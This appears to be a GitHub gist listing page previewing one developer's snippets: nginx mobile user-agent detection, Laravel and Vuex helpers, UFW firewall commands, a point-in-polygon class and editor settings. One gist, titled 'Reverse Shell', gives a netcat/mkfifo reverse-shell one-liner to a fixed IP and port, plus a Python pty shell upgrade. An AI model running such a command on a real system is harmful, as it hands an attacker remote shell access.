Skip to content

Instantly share code, notes, and snippets.

View afiqiqmal's full-sized avatar
👻
I may be slow to respond.

Hafiq afiqiqmal

👻
I may be slow to respond.
View GitHub Profile
set $mobile_rewrite do_not_perform;
if ($http_user_agent ~* "(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino") {
set $mobile_rewrite perform;
}
if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|ide
@afiqiqmal
afiqiqmal / perfom.conf
Last active April 19, 2022 14:23
Detect Mobile Phone Agent in Nginx
set $mobile_rewrite do_not_perform;
if ($http_user_agent ~* "(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino") {
set $mobile_rewrite perform;
}
if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|ide
@afiqiqmal
afiqiqmal / GoogleGeocode.php
Created February 10, 2022 13:48
Helper class for geocode mapping
<?php
namespace App\Helpers;
use Illuminate\Support\Facades\Http;
class GoogleGeocode
{
private $url = "https://maps.googleapis.com/maps/api/geocode/json";
@afiqiqmal
afiqiqmal / jstimeout.js
Created November 8, 2021 00:29
SetTimeout using Vuex Store
export const state = () => ({
intervalList: []
})
export const mutations = {
addWithArgument(state, {callback, args}) {
if (callback.name === undefined) {
return;
}
@afiqiqmal
afiqiqmal / ufw.txt
Last active July 10, 2021 11:29
UFW Nginx
#Block IP
ufw insert 1 deny from 202.186.179.142 to any
#Numbered UFW
sudo ufw status numbered
@afiqiqmal
afiqiqmal / whatsmyip.sh
Created June 1, 2021 06:09
Get Your Current IP from Terminal
#!/bin/sh
curl https://ipinfo.io/$(curl -s icanhazip.com)
@afiqiqmal
afiqiqmal / PointLocation.php
Created April 16, 2021 08:33
Check if location is inside polygon or not
<?php
class PointLocation
{
public static function pointInPolygon($point, $vertices): string
{
if (self::pointOnVertex($point, $vertices) == true) {
return "vertex";
}
@afiqiqmal
afiqiqmal / index.html
Created April 2, 2021 02:25
Google Map URL Testing for iOS user
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
</head>
<body>
<div class="p-5">
@afiqiqmal
afiqiqmal / reverse.sh
Last active March 22, 2021 14:19
Reverse Shell
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.163.74 1337 >/tmp/f
python -c 'import pty; pty.spawn("/bin/bash")'
@afiqiqmal
afiqiqmal / laragon-cmder-phpstorm.md
Created March 3, 2021 00:25 — forked from landbryo/laragon-cmder-phpstorm.md
Laragon Cmder in PHPStorm

Navigate to PHPStorm's Settings > Tools > Terminal and set...

Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"